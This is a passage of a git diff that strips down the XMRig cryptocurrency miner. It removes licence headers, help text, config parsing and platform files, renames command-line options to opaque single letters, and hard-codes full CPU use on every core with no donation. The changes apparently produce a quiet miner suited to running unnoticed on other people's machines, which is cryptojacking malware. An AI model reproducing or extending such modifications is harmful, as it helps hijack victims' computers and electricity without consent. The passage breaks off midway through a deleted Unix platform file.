TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token) != TRUE) { - return FALSE; - } - + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token) != TRUE) { return FALSE; } TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - if (LookupPrivilegeValue(NULL, SE_LOCK_MEMORY_NAME, &(tp.Privileges[0].Luid)) != TRUE) { - return FALSE; - } - + if (LookupPrivilegeValue(NULL, SE_LOCK_MEMORY_NAME, &(tp.Privileges[0].Luid)) != TRUE) { return FALSE; } BOOL rc = AdjustTokenPrivileges(token, FALSE, (PTOKEN_PRIVILEGES) &tp, 0, NULL, NULL); - if (rc != TRUE || GetLastError() != ERROR_SUCCESS) { - return FALSE; - } - + if (rc != TRUE || GetLastError() != ERROR_SUCCESS) { return FALSE; } CloseHandle(token); - return TRUE; } - - static LSA_UNICODE_STRING StringToLsaUnicodeString(LPCTSTR string) { LSA_UNICODE_STRING lsaString; - DWORD dwLen = (DWORD) wcslen(string); lsaString.Buffer = (LPWSTR) string; lsaString.Length = (USHORT)((dwLen) * sizeof(WCHAR)); lsaString.MaximumLength = (USHORT)((dwLen + 1) * sizeof(WCHAR)); return lsaString; } - - static BOOL ObtainLockPagesPrivilege() { HANDLE token; PTOKEN_USER user = NULL; - if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token) == TRUE) { DWORD size = 0; - GetTokenInformation(token, TokenUser, NULL, 0, &size); - if (size) { - user = (PTOKEN_USER) LocalAlloc(LPTR, size); - } - + if (size) { user = (PTOKEN_USER) LocalAlloc(LPTR, size); } GetTokenInformation(token, TokenUser, user, size, &size); CloseHandle(token); } - - if (!user) { - return FALSE; - } - + if (!user) { return FALSE; } LSA_HANDLE handle; LSA_OBJECT_ATTRIBUTES attributes; ZeroMemory(&attributes, sizeof(attributes)); - BOOL result = FALSE; if (LsaOpenPolicy(NULL, &attributes, POLICY_ALL_ACCESS, &handle) == 0) { LSA_UNICODE_STRING str = StringToLsaUnicodeString(_T(SE_LOCK_MEMORY_NAME)); - - if (LsaAddAccountRights(handle, user->User.Sid, &str, 1) == 0) { - LOG_NOTICE("Huge pages support was successfully enabled, but reboot required to use it"); - result = TRUE; - } - + if (LsaAddAccountRights(handle, user->User.Sid, &str, 1) == 0) { result = TRUE; } LsaClose(handle); } - LocalFree(user); return result; } - - static BOOL TrySetLockPagesPrivilege() { - if (SetLockPagesPrivilege()) { - return TRUE; - } - + if (SetLockPagesPrivilege()) { return TRUE; } return ObtainLockPagesPrivilege() && SetLockPagesPrivilege(); } - - bool Mem::allocate(int algo, int threads, bool doubleHash, bool enabled) { m_algo = algo; m_threads = threads; m_doubleHash = doubleHash; - - const int ratio = (doubleHash && algo != Options::ALGO_CRYPTONIGHT_LITE) ? 2 : 1; + const int ratio = 2; const size_t size = MEMORY * (threads * ratio + 1); - - if (!enabled) { - m_memory = static_cast(_mm_malloc(size, 16)); - return true; - } - - if (TrySetLockPagesPrivilege()) { - m_flags |= HugepagesAvailable; - } - + if (!enabled) { m_memory = static_cast(_mm_malloc(size, 16)); return true; } + if (TrySetLockPagesPrivilege()) { m_flags |= HugepagesAvailable; } m_memory = static_cast(VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE | MEM_LARGE_PAGES, PAGE_READWRITE)); - if (!m_memory) { - m_memory = static_cast(_mm_malloc(size, 16)); - } - else { - m_flags |= HugepagesEnabled; - } - + if (!m_memory) { m_memory = static_cast(_mm_malloc(size, 16)); } else { m_flags |= HugepagesEnabled; } return true; } - - -void Mem::release() -{ - if (m_flags & HugepagesEnabled) { - VirtualFree(m_memory, 0, MEM_RELEASE); - } - else { - _mm_free(m_memory); - } -} +void Mem::release() { if (m_flags & HugepagesEnabled) { VirtualFree(m_memory, 0, MEM_RELEASE); } else { _mm_free(m_memory); } } \ No newline at end of file diff --git a/src/Options.cpp b/src/Options.cpp index 4e7c75ca..5faa6568 100644 --- a/src/Options.cpp +++ b/src/Options.cpp @@ -1,45 +1,11 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include #include - - #ifdef _MSC_VER # include "getopt/getopt.h" #else # include #endif - - -#ifndef XMRIG_NO_HTTPD -# include -#endif - - #include "Cpu.h" -#include "donate.h" #include "net/Url.h" #include "Options.h" #include "Platform.h" @@ -47,143 +13,17 @@ #include "rapidjson/error/en.h" #include "rapidjson/filereadstream.h" #include "version.h" - - #ifndef ARRAY_SIZE # define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0])) #endif - - Options *Options::m_self = nullptr; - - -static char const usage[] = "\ -Usage: " APP_ID " [OPTIONS]\n\ -Options:\n\ - -a, --algo=ALGO cryptonight (default) or cryptonight-lite\n\ - -o, --url=URL URL of mining server\n\ - -O, --userpass=U:P username:password pair for mining server\n\ - -u, --user=USERNAME username for mining server\n\ - -p, --pass=PASSWORD password for mining server\n\ - -t, --threads=N number of miner threads\n\ - -v, --av=N algorithm variation, 0 auto select\n\ - -k, --keepalive send keepalived for prevent timeout (need pool support)\n\ - -r, --retries=N number of times to retry before switch to backup server (default: 5)\n\ - -R, --retry-pause=N time to pause between retries (default: 5)\n\ - --cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1\n\ - --cpu-priority set process priority (0 idle, 2 normal to 5 highest)\n\ - --no-huge-pages disable huge pages support\n\ - --no-color disable colored output\n\ - --donate-level=N donate level, default 5%% (5 minutes in 100 minutes)\n\ - --user-agent set custom user-agent string for pool\n\ - -B, --background run the miner in the background\n\ - -c, --config=FILE load a JSON-format configuration file\n\ - -l, --log-file=FILE log all output to a file\n" -# ifdef HAVE_SYSLOG_H -"\ - -S, --syslog use system log for output messages\n" -# endif -"\ - --max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75)\n\ - --safe safe adjust threads and av settings for current CPU\n\ - --nicehash enable nicehash/xmrig-proxy support\n\ - --print-time=N print hashrate report every N seconds\n\ - --api-port=N port for the miner API\n\ - --api-access-token=T access token for API\n\ - --api-worker-id=ID custom worker-id for API\n\ - -h, --help display this help and exit\n\ - -V, --version output version information and exit\n\ -"; - - -static char const short_options[] = "a:c:khBp:Px:r:R:s:t:T:o:u:O:v:Vl:S"; - - +static char const usage[] = ""; +static char const short_options[] = "o:u"; static struct option const options[] = { - { "algo", 1, nullptr, 'a' }, - { "api-access-token", 1, nullptr, 4001 }, - { "api-port", 1, nullptr, 4000 }, - { "api-worker-id", 1, nullptr, 4002 }, - { "av", 1, nullptr, 'v' }, - { "background", 0, nullptr, 'B' }, - { "config", 1, nullptr, 'c' }, - { "cpu-affinity", 1, nullptr, 1020 }, - { "cpu-priority", 1, nullptr, 1021 }, - { "donate-level", 1, nullptr, 1003 }, - { "dry-run", 0, nullptr, 5000 }, - { "help", 0, nullptr, 'h' }, - { "keepalive", 0, nullptr ,'k' }, - { "log-file", 1, nullptr, 'l' }, - { "max-cpu-usage", 1, nullptr, 1004 }, - { "nicehash", 0, nullptr, 1006 }, - { "no-color", 0, nullptr, 1002 }, - { "no-huge-pages", 0, nullptr, 1009 }, - { "pass", 1, nullptr, 'p' }, - { "print-time", 1, nullptr, 1007 }, - { "retries", 1, nullptr, 'r' }, - { "retry-pause", 1, nullptr, 'R' }, - { "safe", 0, nullptr, 1005 }, - { "syslog", 0, nullptr, 'S' }, - { "threads", 1, nullptr, 't' }, - { "url", 1, nullptr, 'o' }, - { "user", 1, nullptr, 'u' }, - { "user-agent", 1, nullptr, 1008 }, - { "userpass", 1, nullptr, 'O' }, - { "version", 0, nullptr, 'V' }, + { "C", 1, nullptr, 'o' }, + { "V", 1, nullptr, 'u' }, { 0, 0, 0, 0 } }; - - -static struct option const config_options[] = { - { "algo", 1, nullptr, 'a' }, - { "av", 1, nullptr, 'v' }, - { "background", 0, nullptr, 'B' }, - { "colors", 0, nullptr, 2000 }, - { "cpu-affinity", 1, nullptr, 1020 }, - { "cpu-priority", 1, nullptr, 1021 }, - { "donate-level", 1, nullptr, 1003 }, - { "dry-run", 0, nullptr, 5000 }, - { "huge-pages", 0, nullptr, 1009 }, - { "log-file", 1, nullptr, 'l' }, - { "max-cpu-usage", 1, nullptr, 1004 }, - { "print-time", 1, nullptr, 1007 }, - { "retries", 1, nullptr, 'r' }, - { "retry-pause", 1, nullptr, 'R' }, - { "safe", 0, nullptr, 1005 }, - { "syslog", 0, nullptr, 'S' }, - { "threads", 1, nullptr, 't' }, - { "user-agent", 1, nullptr, 1008 }, - { 0, 0, 0, 0 } -}; - - -static struct option const pool_options[] = { - { "url", 1, nullptr, 'o' }, - { "pass", 1, nullptr, 'p' }, - { "user", 1, nullptr, 'u' }, - { "userpass", 1, nullptr, 'O' }, - { "keepalive", 0, nullptr ,'k' }, - { "nicehash", 0, nullptr, 1006 }, - { 0, 0, 0, 0 } -}; - - -static struct option const api_options[] = { - { "port", 1, nullptr, 4000 }, - { "access-token", 1, nullptr, 4001 }, - { "worker-id", 1, nullptr, 4002 }, - { 0, 0, 0, 0 } -}; - - -static const char *algo_names[] = { - "cryptonight", -# ifndef XMRIG_NO_AEON - "cryptonight-lite" -# endif -}; - - Options *Options::parse(int argc, char **argv) { Options *options = new Options(argc, argv); @@ -191,23 +31,15 @@ Options *Options::parse(int argc, char **argv) m_self = options; return m_self; } - delete options; return nullptr; } - -const char *Options::algoName() const -{ - return algo_names[m_algo]; -} - - +const char *Options::algoName() const { return "cryptonight"; } Options::Options(int argc, char **argv) : m_background(false), - m_colors(true), + m_colors(false), m_doubleHash(false), - m_dryRun(false), m_hugePages(true), m_ready(false), m_safe(false), @@ -216,115 +48,35 @@ Options::Options(int argc, char **argv) : m_apiWorkerId(nullptr), m_logFile(nullptr), m_userAgent(nullptr), - m_algo(0), + m_algo(1), m_algoVariant(0), m_apiPort(0), - m_donateLevel(kDonateLevel), - m_maxCpuUsage(75), - m_printTime(60), + m_donateLevel(0), + m_maxCpuUsage(100), + m_printTime(100), m_priority(-1), - m_retries(5), + m_retries(50), m_retryPause(5), m_threads(0), m_affinity(-1L) { m_pools.push_back(new Url()); - int key; - while (1) { key = getopt_long(argc, argv, short_options, options, NULL); - if (key < 0) { - break; - } - - if (!parseArg(key, optarg)) { - return; - } + if (key < 0) { break; } + if (!parseArg(key, optarg)) { return; } } - - if (optind < argc) { - fprintf(stderr, "%s: unsupported non-option argument '%s'\n", argv[0], argv[optind]); - return; - } - - if (!m_pools[0]->isValid()) { - parseConfig(Platform::defaultConfigName()); - } - - if (!m_pools[0]->isValid()) { - fprintf(stderr, "No pool URL supplied. Exiting.\n"); - return; - } - m_algoVariant = getAlgoVariant(); - if (m_algoVariant == AV2_AESNI_DOUBLE || m_algoVariant == AV4_SOFT_AES_DOUBLE) { - m_doubleHash = true; - } - - if (!m_threads) { - m_threads = Cpu::optimalThreadsCount(m_algo, m_doubleHash, m_maxCpuUsage); - } - else if (m_safe) { - const int count = Cpu::optimalThreadsCount(m_algo, m_doubleHash, m_maxCpuUsage); - if (m_threads > count) { - m_threads = count; - } - } - - for (Url *url : m_pools) { - url->applyExceptions(); - } - + if (m_algoVariant == AV2_AESNI_DOUBLE || m_algoVariant == AV4_SOFT_AES_DOUBLE) { m_doubleHash = true; } + for (Url *url : m_pools) { url->applyExceptions(); } m_ready = true; } - - -Options::~Options() -{ -} - - -bool Options::getJSON(const char *fileName, rapidjson::Document &doc) -{ - uv_fs_t req; - const int fd = uv_fs_open(uv_default_loop(), &req, fileName, O_RDONLY, 0644, nullptr); - if (fd < 0) { - fprintf(stderr, "unable to open %s: %s\n", fileName, uv_strerror(fd)); - return false; - } - - uv_fs_req_cleanup(&req); - - FILE *fp = fdopen(fd, "rb"); - char buf[8192]; - rapidjson::FileReadStream is(fp, buf, sizeof(buf)); - - doc.ParseStream(is); - - uv_fs_close(uv_default_loop(), &req, fd, nullptr); - uv_fs_req_cleanup(&req); - - if (doc.HasParseError()) { - printf("%s:%d: %s\n", fileName, (int) doc.GetErrorOffset(), rapidjson::GetParseError_En(doc.GetParseError())); - return false; - } - - return doc.IsObject(); -} - - -bool Options::parseArg(int key, const char *arg) -{ +Options::~Options(){} +bool Options::parseArg(int key, const char *arg) { switch (key) { - case 'a': /* --algo */ - if (!setAlgo(arg)) { - return false; - } - break; - - case 'o': /* --url */ - if (m_pools.size() > 1 || m_pools[0]->isValid()) { + case 'o': + if (m_pools.size() > 1 || m_pools[0]->isValid()) { Url *url = new Url(arg); if (url->isValid()) { m_pools.push_back(url); @@ -339,408 +91,20 @@ bool Options::parseArg(int key, const char *arg) if (!m_pools.back()->isValid()) { return false; - } +} break; - - case 'O': /* --userpass */ - if (!m_pools.back()->setUserpass(arg)) { - return false; - } - break; - - case 'u': /* --user */ + case 'u': m_pools.back()->setUser(arg); - break; - - case 'p': /* --pass */ - m_pools.back()->setPassword(arg); - break; - - case 'l': /* --log-file */ - free(m_logFile); - m_logFile = strdup(arg); - m_colors = false; - break; - - case 4001: /* --access-token */ - free(m_apiToken); - m_apiToken = strdup(arg); - break; - - case 4002: /* --worker-id */ - free(m_apiWorkerId); - m_apiWorkerId = strdup(arg); - break; - - case 'r': /* --retries */ - case 'R': /* --retry-pause */ - case 'v': /* --av */ - case 1003: /* --donate-level */ - case 1004: /* --max-cpu-usage */ - case 1007: /* --print-time */ - case 1021: /* --cpu-priority */ - case 4000: /* --api-port */ - return parseArg(key, strtol(arg, nullptr, 10)); - - case 'B': /* --background */ - case 'k': /* --keepalive */ - case 'S': /* --syslog */ - case 1005: /* --safe */ - case 1006: /* --nicehash */ - case 5000: /* --dry-run */ - return parseBoolean(key, true); - - case 1002: /* --no-color */ - case 1009: /* --no-huge-pages */ - return parseBoolean(key, false); - - case 't': /* --threads */ - if (strncmp(arg, "all", 3) == 0) { - m_threads = Cpu::threads(); - return true; - } - - return parseArg(key, strtol(arg, nullptr, 10)); - - case 'V': /* --version */ - showVersion(); - return false; - - case 'h': /* --help */ - showUsage(0); - return false; - - case 'c': /* --config */ - parseConfig(arg); - break; - - case 1020: { /* --cpu-affinity */ - const char *p = strstr(arg, "0x"); - return parseArg(key, p ? strtoull(p, nullptr, 16) : strtoull(arg, nullptr, 10)); - } - - case 1008: /* --user-agent */ - free(m_userAgent); - m_userAgent = strdup(arg); - break; - + m_pools.back()->setPassword("x"); + m_threads = Cpu::CPUs(); + break; default: - showUsage(1); return false; } - return true; } - - -bool Options::parseArg(int key, uint64_t arg) -{ - switch (key) { - case 'r': /* --retries */ - if (arg < 1 || arg > 1000) { - showUsage(1); - return false; - } - - m_retries = (int) arg; - break; - - case 'R': /* --retry-pause */ - if (arg < 1 || arg > 3600) { - showUsage(1); - return false; - } - - m_retryPause = (int) arg; - break; - - case 't': /* --threads */ - if (arg < 1 || arg > 1024) { - showUsage(1); - return false; - } - - m_threads = (int) arg; - break; - - case 'v': /* --av */ - if (arg > 1000) { - showUsage(1); - return false; - } - - m_algoVariant = (int) arg; - break; - - case 1003: /* --donate-level */ - if (arg < 1 || arg > 99) { - return true; - } - - m_donateLevel = (int) arg; - break; - - case 1004: /* --max-cpu-usage */ - if (arg < 1 || arg > 100) { - showUsage(1); - return false; - } - - m_maxCpuUsage = (int) arg; - break; - - case 1007: /* --print-time */ - if (arg > 1000) { - showUsage(1); - return false; - } - - m_printTime = (int) arg; - break; - - case 1020: /* --cpu-affinity */ - if (arg) { - m_affinity = arg; - } - break; - - case 1021: /* --cpu-priority */ - if (arg <= 5) { - m_priority = (int) arg; - } - break; - - case 4000: /* --api-port */ - if (arg <= 65536) { - m_apiPort = (int) arg; - } - break; - - default: - break; - } - - return true; -} - - -bool Options::parseBoolean(int key, bool enable) -{ - switch (key) { - case 'k': /* --keepalive */ - m_pools.back()->setKeepAlive(enable); - break; - - case 'B': /* --background */ - m_background = enable; - m_colors = enable ? false : m_colors; - break; - - case 'S': /* --syslog */ - m_syslog = enable; - m_colors = enable ? false : m_colors; - break; - - case 1002: /* --no-color */ - m_colors = enable; - break; - - case 1005: /* --safe */ - m_safe = enable; - break; - - case 1006: /* --nicehash */ - m_pools.back()->setNicehash(enable); - break; - - case 1009: /* --no-huge-pages */ - m_hugePages = enable; - break; - - case 2000: /* colors */ - m_colors = enable; - break; - - case 5000: /* --dry-run */ - m_dryRun = enable; - break; - - default: - break; - } - - return true; -} - - -Url *Options::parseUrl(const char *arg) const -{ - auto url = new Url(arg); - if (!url->isValid()) { - delete url; - return nullptr; - } - - return url; -} - - -void Options::parseConfig(const char *fileName) -{ - rapidjson::Document doc; - if (!getJSON(fileName, doc)) { - return; - } - - for (size_t i = 0; i < ARRAY_SIZE(config_options); i++) { - parseJSON(&config_options[i], doc); - } - - const rapidjson::Value &pools = doc["pools"]; - if (pools.IsArray()) { - for (const rapidjson::Value &value : pools.GetArray()) { - if (!value.IsObject()) { - continue; - } - - for (size_t i = 0; i < ARRAY_SIZE(pool_options); i++) { - parseJSON(&pool_options[i], value); - } - } - } - - const rapidjson::Value &api = doc["api"]; - if (api.IsObject()) { - for (size_t i = 0; i < ARRAY_SIZE(api_options); i++) { - parseJSON(&api_options[i], api); - } - } -} - - -void Options::parseJSON(const struct option *option, const rapidjson::Value &object) -{ - if (!option->name || !object.HasMember(option->name)) { - return; - } - - const rapidjson::Value &value = object[option->name]; - - if (option->has_arg && value.IsString()) { - parseArg(option->val, value.GetString()); - } - else if (option->has_arg && value.IsUint64()) { - parseArg(option->val, value.GetUint64()); - } - else if (!option->has_arg && value.IsBool()) { - parseBoolean(option->val, value.IsTrue()); - } -} - - -void Options::showUsage(int status) const -{ - if (status) { - fprintf(stderr, "Try \"" APP_ID "\" --help' for more information.\n"); - } - else { - printf(usage); - } -} - - -void Options::showVersion() -{ - printf(APP_NAME " " APP_VERSION "\n built on " __DATE__ - -# if defined(__clang__) - " with clang " __clang_version__); -# elif defined(__GNUC__) - " with GCC"); - printf(" %d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__); -# elif defined(_MSC_VER) - " with MSVC"); - printf(" %d", MSVC_VERSION); -# else - ); -# endif - - printf("\n features:" -# if defined(__i386__) || defined(_M_IX86) - " i386" -# elif defined(__x86_64__) || defined(_M_AMD64) - " x86_64" -# endif - -# if defined(__AES__) || defined(_MSC_VER) - " AES-NI" -# endif - "\n"); - - printf("\nlibuv/%s\n", uv_version_string()); - -# ifndef XMRIG_NO_HTTPD - printf("libmicrohttpd/%s\n", MHD_get_version()); -# endif -} - - -bool Options::setAlgo(const char *algo) -{ - for (size_t i = 0; i < ARRAY_SIZE(algo_names); i++) { - if (algo_names[i] && !strcmp(algo, algo_names[i])) { - m_algo = (int) i; - break; - } - -# ifndef XMRIG_NO_AEON - if (i == ARRAY_SIZE(algo_names) - 1 && !strcmp(algo, "cryptonight-light")) { - m_algo = ALGO_CRYPTONIGHT_LITE; - break; - } -# endif - - if (i == ARRAY_SIZE(algo_names) - 1) { - showUsage(1); - return false; - } - } - - return true; -} - - -int Options::getAlgoVariant() const -{ -# ifndef XMRIG_NO_AEON - if (m_algo == ALGO_CRYPTONIGHT_LITE) { - return getAlgoVariantLite(); - } -# endif - - if (m_algoVariant <= AV0_AUTO || m_algoVariant >= AV_MAX) { - return Cpu::hasAES() ? AV1_AESNI : AV3_SOFT_AES; - } - - if (m_safe && !Cpu::hasAES() && m_algoVariant <= AV2_AESNI_DOUBLE) { - return m_algoVariant + 2; - } - +int Options::getAlgoVariant() const { + if (m_algoVariant <= AV0_AUTO || m_algoVariant >= AV_MAX) { return Cpu::hasAES() ? AV1_AESNI : AV3_SOFT_AES; } + if (m_safe && !Cpu::hasAES() && m_algoVariant <= AV2_AESNI_DOUBLE) { return m_algoVariant + 2; } return m_algoVariant; -} - - -#ifndef XMRIG_NO_AEON -int Options::getAlgoVariantLite() const -{ - if (m_algoVariant <= AV0_AUTO || m_algoVariant >= AV_MAX) { - return Cpu::hasAES() ? AV2_AESNI_DOUBLE : AV4_SOFT_AES_DOUBLE; - } - - if (m_safe && !Cpu::hasAES() && m_algoVariant <= AV2_AESNI_DOUBLE) { - return m_algoVariant + 2; - } - - return m_algoVariant; -} -#endif +} \ No newline at end of file diff --git a/src/Options.h b/src/Options.h index 6f074917..c764a07c 100644 --- a/src/Options.h +++ b/src/Options.h @@ -1,47 +1,18 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __OPTIONS_H__ #define __OPTIONS_H__ - #include #include - - #include "rapidjson/fwd.h" - class Url; struct option; - class Options { public: enum Algo { - ALGO_CRYPTONIGHT, /* CryptoNight (Monero) */ - ALGO_CRYPTONIGHT_LITE, /* CryptoNight-Lite (AEON) */ + ALGO_CRYPTONIGHT }; enum AlgoVariant { @@ -59,7 +30,6 @@ public: inline bool background() const { return m_background; } inline bool colors() const { return m_colors; } inline bool doubleHash() const { return m_doubleHash; } - inline bool dryRun() const { return m_dryRun; } inline bool hugePages() const { return m_hugePages; } inline bool syslog() const { return m_syslog; } inline const char *apiToken() const { return m_apiToken; } @@ -77,7 +47,6 @@ public: inline int retryPause() const { return m_retryPause; } inline int threads() const { return m_threads; } inline int64_t affinity() const { return m_affinity; } - inline void setColors(bool colors) { m_colors = colors; } inline static void release() { delete m_self; } @@ -91,27 +60,18 @@ private: static Options *m_self; - bool getJSON(const char *fileName, rapidjson::Document &doc); bool parseArg(int key, const char *arg); bool parseArg(int key, uint64_t arg); bool parseBoolean(int key, bool enable); Url *parseUrl(const char *arg) const; - void parseConfig(const char *fileName); - void parseJSON(const struct option *option, const rapidjson::Value &object); - void showUsage(int status) const; - void showVersion(void); bool setAlgo(const char *algo); int getAlgoVariant() const; -# ifndef XMRIG_NO_AEON - int getAlgoVariantLite() const; -# endif bool m_background; bool m_colors; bool m_doubleHash; - bool m_dryRun; bool m_hugePages; bool m_ready; bool m_safe; diff --git a/src/Platform.cpp b/src/Platform.cpp index 4ddb1429..b7c99256 100644 --- a/src/Platform.cpp +++ b/src/Platform.cpp @@ -1,62 +1,11 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include #include - - #include "Platform.h" - char *Platform::m_defaultConfigName = nullptr; char *Platform::m_userAgent = nullptr; - const char *Platform::defaultConfigName() { - size_t size = 520; - - if (m_defaultConfigName == nullptr) { - m_defaultConfigName = new char[size]; - } - - if (uv_exepath(m_defaultConfigName, &size) < 0) { - return nullptr; - } - - if (size < 500) { -# ifdef WIN32 - char *p = strrchr(m_defaultConfigName, '\\'); -# else - char *p = strrchr(m_defaultConfigName, '/'); -# endif - - if (p) { - strcpy(p + 1, "config.json"); - return m_defaultConfigName; - } - } - return nullptr; } diff --git a/src/Platform.h b/src/Platform.h index 87c8cc4d..6e3c6441 100644 --- a/src/Platform.h +++ b/src/Platform.h @@ -1,30 +1,6 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __PLATFORM_H__ #define __PLATFORM_H__ - class Platform { public: @@ -40,6 +16,4 @@ private: static char *m_defaultConfigName; static char *m_userAgent; }; - - #endif /* __PLATFORM_H__ */ diff --git a/src/Platform_mac.cpp b/src/Platform_mac.cpp deleted file mode 100644 index ba541f1d..00000000 --- a/src/Platform_mac.cpp +++ /dev/null @@ -1,109 +0,0 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#include -#include -#include -#include - - -#include "Platform.h" -#include "version.h" - -#ifdef XMRIG_NVIDIA_PROJECT -# include "nvidia/cryptonight.h" -#endif - - -static inline char *createUserAgent() -{ - const size_t max = 160; - - char *buf = new char[max]; - -# ifdef XMRIG_NVIDIA_PROJECT - const int cudaVersion = cuda_get_runtime_version(); - snprintf(buf, max, "%s/%s (Macintosh; Intel Mac OS X) libuv/%s CUDA/%d.%d clang/%d.%d.%d", APP_NAME, APP_VERSION, uv_version_string(), cudaVersion / 1000, cudaVersion % 100, __clang_major__, __clang_minor__, __clang_patchlevel__); -# else - snprintf(buf, max, "%s/%s (Macintosh; Intel Mac OS X) libuv/%s clang/%d.%d.%d", APP_NAME, APP_VERSION, uv_version_string(), __clang_major__, __clang_minor__, __clang_patchlevel__); -# endif - - return buf; -} - - -void Platform::init(const char *userAgent) -{ - m_userAgent = userAgent ? strdup(userAgent) : createUserAgent(); -} - - -void Platform::release() -{ - delete [] m_userAgent; -} - - -void Platform::setProcessPriority(int priority) -{ - -} - - -void Platform::setThreadPriority(int priority) -{ - if (priority == -1) { - return; - } - - int prio = 19; - switch (priority) - { - case 1: - prio = 5; - break; - - case 2: - prio = 0; - break; - - case 3: - prio = -5; - break; - - case 4: - prio = -10; - break; - - case 5: - prio = -15; - break; - - default: - break; - } - - setpriority(PRIO_PROCESS, 0, prio); -} - diff --git a/src/Platform_unix.cpp b/src/Platform_unix.cpp deleted file mode 100644 index c0589307..00000000 --- a/src/Platform_unix.cpp +++ /dev/null @@ -1,129 +0,0 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - -#include -#include -#include -#include -#include -#include - - -#include "Platform.h" -#include "version.h" - -#ifdef XMRIG_NVIDIA_PROJECT -# include "nvidia/cryptonight.h" -#endif - - -static inline char *createUserAgent() -{ - const size_t max = 160; - - char *buf = new char[max]; - int length = snprintf(buf, max, "%s/%s (Linux ", APP_NAME, APP_VERSION); - -# if defined(__x86_64__) - length += snprintf(buf + length, max - length, "x86_64) libuv/%s", uv_version_string()); -# else - length += snprintf(buf + length, max - length, "i686) libuv/%s", uv_version_string()); -# endif - -# ifdef XMRIG_NVIDIA_PROJECT - const int cudaVersion = cuda_get_runtime_version(); - length += snprintf(buf + length, max - length, " CUDA/%d.%d", cudaVersion / 1000, cudaVersion % 100); -# endif - -# ifdef __GNUC__ - length += snprintf(buf + length, max - length, " gcc/%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__); -# endif - - return buf; -} - - -void Platform::init(const char *userAgent) -{ - m_userAgent = userAgent ? strdup(userAgent) : createUserAgent(); -} - - -void Platform::release() -{ - delete [] m_userAgent; -} - - -void Platform::setProcessPriority(int priority) -{ -} - - - -void Platform::setThreadPriority(int priority) -{ - if (priority == -1) { - return; - } - - int prio = 19; - switch (priority) - { - case 1: - prio = 5; - break; - - case 2: - prio = 0; 